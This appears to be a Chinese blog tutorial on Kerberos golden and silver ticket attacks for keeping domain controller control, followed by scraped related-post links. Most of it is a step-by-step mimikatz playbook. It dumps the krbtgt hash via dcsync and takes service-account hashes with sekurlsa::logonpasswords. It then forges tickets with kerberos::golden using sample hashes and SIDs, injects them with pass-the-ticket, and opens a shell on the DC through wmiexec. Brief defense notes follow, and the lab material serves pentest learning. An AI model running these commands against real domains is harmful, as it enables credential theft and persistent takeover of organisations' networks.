内网安全之:黄金&白银票据传递域控制器权限维持
内网安全之:黄金&白银票据传递域控制器权限维持
1 Golden Ticket
域环境中存在SID为502的域账号krbtgt,其是KDC服务使用的账号,属于Domain Admins组,在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的 NTLM Hash或者 AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。

使用域的 Golden Ticket(黄金票据)进行票据传递时需要有以下条件:
- 需要伪造的域管理员用户名。
- 完整的域名。
- 域SID。
- krbtgt 的 NTLM Hash或AES-256值。
1.1 导出 krbtgt 的 NTLM Hash
# 在域控制器上使用mimikatz的 dcsync 功能远程转储活动目录中的 ntds.dit。指定/user只导出 krbtgt 账号的信息。
lsadump::dcsync /domain:test.lab /user:krbtgt
Hash NTLM: fa02a0e57e5ba9189d00990ae64e87ce
aes256_hmac: c93e94f96b1be279a3420f12615048780b92a8ce834c391fad6cdf6326690b22

1.2 获取基本信息
# 1.获取域 SID
wmic useraccount get name,sid
# 2.获取当前用户的SID
whoami /user
test\tester01 S-1-5-21-1207377116-2664972910-881425611-1104
# 3.查询域管理员账号
net group "domain admins" /domain
# 4.查询域名
ipconfig /all

1.3 Kerberos 的黄金票操作过程
# 1.获取目标主机权限后,查看当前用户及其所属组
net user tester /domain
# 2.注入票据前权限测试,此时显示拒绝访问
dir \\dc\c$
# 3. 清空票据
kerberos::purge
# 4.利用 krbtgt 的 NTLM 生成包含 krbtgt 身份的票据
kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /krbtgt:fa02a0e57e5ba9189d00990ae64e87ce /ticket:Administrator.kiribi
# 4.利用 krbtgt 的 AES-256 值生成包含 krbtgt 身份的票据
kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /aes256:c93e94f96b1be279a3420f12615048780b92a8ce834c391fad6cdf6326690b22 /ticket:Administrator.kiribi
# 5.传递票据并注入内存
kerberos::ptt Administrator.kiribi
# 6.查看当前会话中的票据
kerberos::tgt
# 7.验证权限
cscript "wmiexec v1.1.vbs" /shell dc


1.4 防御
使用Golden Ticket 伪造的用户可以是任意用户(即使这个用户不存在)。因为 TGT的加密是由krbtgt完成的,所以,只要 TGT被krbtgt账户和密码正确地加密,那么任意KDC使用krbtgt将TGT解密后,TGT中的所有信息都是可信的。只有在如下两种情况下才能修改krbtgt密码。
- 域功能级别从 Win2000或 Win2003提升至Win2008或Win 2012。在提升域功能的过程中,krbtgt 的密码会被自动修改。
- 进行安全检查和相关服务加固时修改 krbtgt 的密码。
2 Silver Ticket
Silver Ticket 与 Golden Ticket 的区别:
- Silver Ticket(白银票据) 的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志,而 Golden Ticket 在利用过程中需要由 KDC 颁发 TGT,并且在生成伪造的 TGT 的 20分钟内,TGS 不会对该 TGT 的真伪进行校验。
- Silver Ticket 依赖于服务账号的密码散列值,这不同于 Golden Ticket 利用需要使用 krbtgt 账号的密码哈希值,因此更加隐蔽。
- Silver Ticket 会通过相应的服务账号来伪造 TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS 等,范围有限,只能获取对应服务权限。而 Golden Ticket 使用 krbtgt 账号密码的哈希值,利用伪造高权限的 TGT 向 KDC 要求颁发拥有任意服务访问权限的票据,从而获取域控制器权限。
- Silver Ticket 是由特定服务账号加密的,Golden Ticket 是由 krbtgt 账号加密的。
2.1 Silver Ticket 的操作过程
2.1.1 使用 Silver Ticket 伪造 CIFS 服务权限
# 1.在域成员主机上进行伪造前权限测试,此时显示拒绝访问
dir \\dc\c$
# 2.在域控制器中,获取服务账号的 NTLM Hash
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords"
SID: S-1-5-21-1207377116-2664972910-881425611
NTLM: 0ab1159a13e96c208ff9400b6bbaef31
# 3.在域成员机器上利用 mimikatz 生成伪造的 Silver Ticket 票据
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
kerberos::golden /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /target:dc.test.lab /rc4:0ab1159a13e96c208ff9400b6bbaef31 /service:cifs /user:tester01 /ptt


2.1.2 使用 Silver Ticket 伪造 LDAP服务权限
# 1.查看当前权限是否可以使用 dcsync 与控制器进行同步: 使用 dcsync 从域控制器中获取指定用户的账号和密码哈希值,例如 krbtgt。向域控制器获取 krbtgt 的密码哈希值失败,说明当前权限不能进行 dcsync 操作。
# 命令格式
lsadump::dcsync /dc:域DC /domain:域名 /user:域用户名
# 示例
lsadump::dcsync /dc:dc.test.lab /domain:test.lab /user:krbtgt
# 2.在域控制器中,获取服务账号的 NTLM Hash
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords"
SID: S-1-5-21-1207377116-2664972910-881425611
NTLM: 0ab1159a13e96c208ff9400b6bbaef31
# 3.为了防止其他票据对实验进行干扰,先清除内存中的票据:
klist purge
# 4.在域成员机器上利用 mimikatz 生成伪造的 Silver Ticket 票据
# 命令格式
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
# 示例
kerberos::golden /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /target:dc.test.lab /rc4:0ab1159a13e96c208ff9400b6bbaef31 /service:ldap /user:tester01 /ptt
2.2 Silver Ticket 可以用于伪造的服务

2.3 Silver Ticket 防御
- 在内网中安装杀毒软件,及时更新系统补丁。
- 使用组策略在域中进行相应的配置,限制mimikatz在网络中的使用
- 计算机的账号和密码默认每30天更改次。 检查该设置是否生效
内网安全之:黄金&白银票据传递域控制器权限维持的更多相关文章
- 【内网渗透笔记】Windows2008 R2搭建域控制器
0x00 前言 将网络中的多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域(domain).域是日常计算机管理的一种很有效手段,因此,域控制器自然而然就在成域环境中最重要的角 ...
- [内网渗透]HASH获取与HASH传递
0x01 PTH简介 PTH,即Pass-The-Hash,首先我们来说下为什么要使用HASH传递,一是在目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码的, ...
- 内网渗透-smb&wmi明文&hash传递
首先我们要知道,在windows2012以上版本默认会关闭wdigest,那么攻击者就无法从内存中获取明文密码了 windows2012以下的版本如果安装了KB2871997补丁,那么同样也会导致无法 ...
- 5.内网渗透之PTH&PTT&PTK
---------------------------------------------- 本文参考自三好学生-域渗透系列文章 内网渗透之PTH&PTT&PTK PTH(pass-t ...
- 票据传递攻击(Pass the Ticket,PtT)
目录 黄金票据 生成票据并导入 查看票据 验证是否成功 黄金票据和白银票据的不同 票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法.PtT最常见的用途可能是使用黄金 ...
- WinServer 之 内网发布网站后端口映射外网访问
内网IP只能在内网局域网访问连接,在外网是不能认识内网IP不能访问的.如有路由权限,且路由有固定公网IP,可以通过路由的端口映射,实现外网访问内网.如无路由,或路由无公网IP,需要用到第三方开放的花生 ...
- 【渗透实战】记一次艰难的内网漫游第四期_蹭我WIFI?看我如何利用组合拳日进蹭网者内网
/文章作者:Kali_MG1937 CSDN博客ID:ALDYS4 QQ:3496925334/ 内网漫游系列第三期:[渗透实战]记一次艰难的内网漫游第三期_我是如何利用APT攻击拿到内网最高权限的 ...
- Vulnstack内网靶场2
环境配置 内网2靶场由三台机器构成:WIN7.2008 server.2012 server 其中2008做为对外的web机,win7作为个人主机可上网,2012作为域控 网络适配器已经设置好了不用自 ...
- 内网hash传递
前言: 我们在平常打点的时候,遇到有内网或者有域的环境的时候,我们只获得了内网中的一台机子的shell,由这台机子我们可以获得这台机子所在的网段的相关其他主机.比如说有域的时候的域控机,有多层内网的堡 ...
- 内网渗透-windows认证
前言:全国HW刚结束,加强一波内网概念,去年11月红队成绩并不理想,这次必拿下好成绩.冲!!! 0x00 本地认证 本地认证基础知识 在本地登录Windows的情况下,操作系统会使用用户输入的密码作为 ...
随机推荐
- NOIP 口胡
因为没准备啥东西 这两天口胡一下近年 NOIP 的题 大概会一道不落?没什么很寄的考点主要是 2021 T1 报数 打一个 \(O(\log n)\) 查询 \(n\) 中是否有 \(7\),打一个类 ...
- ffmpeg库安装及入门指南(Windows篇)- 2022年底钜献
最近项目需要,使用了 ffmpeg 做摄像头视频采集和串流.这几天有点时间,打算把相关的一些知识记录分享一下. 在撰写本文时,我又在另外一台电脑上把 ffmpeg 重新安装了一遍,所以绝对真实靠谱!如 ...
- python模块的含义
目录 模块简介 模块的本质 python模块的历史 python模块的表现形式 模块的分类 导入模块的两种句式 强调 import句式 import流程推导 练习 from...import...句式 ...
- Jmeter 之吞吐量控制器
作用: 吞吐量控制器可用来模拟混合场景的压测业务,即一部分用户执行场景A,一部分用户执行场景B 字段说明: Total Excutions:执行请求总数 Percent Excutions:执行线程数 ...
- Pytorch 基本操作
Pytorch 基础操作 主要是在读深度学习入门之PyTorch这本书记的笔记.强烈推荐这本书 1. 常用类numpy操作 torch.Tensor(numpy_tensor) torch.from_ ...
- 1、debug调试
Debug断点调试: Debug调试界面图: 利用Debug功能来追踪代码的运行流程,分析与定位异常发生的位置,观察运行中数据的变化. 1.Step Over(F8):进入下一步,如果当前行断点是一个 ...
- C语言指针常见问题
我们在学C语言时,指针是我们最头疼的问题之一,针对C语言指针,博主根据自己的实际学到的知识以及开发经验,总结了以下使用C语言指针时常见问题. 指针 指针做函数参数 学习函数的时候,讲了函数的参数都是值 ...
- ArcGIS工具 - 按字段分割图层
天下大势,合久必分,分久必合.合并.分割在GIS数据处理和管理中也十分常见,例如按行政区划名称导出多个区县行政图层.按地类名称导出多个地类图层. 功能说明 其实,在ArcGIS中除了按属性导出外,最接 ...
- [Python]Python调用Matlab (Pycharm版本)
目录 第一步:生成Build文件夹 第二步: 复制build文件夹到Pycharm下 第三步:调用代码 第一步:生成Build文件夹 C:\Program Files\MATLAB\R2016a\ex ...
- 模板层之标签、自定义模板语法、母版(模版)的继承与导入、模型层前期准备知识点、ORM常用关键字
今日内容概要 模板层之标签 if判断 {% if 条件1 %} #条件1成立 <p>Hello!</p> #执行 {% elif 条件2 %} #条件1不成立 条件2成立 &l ...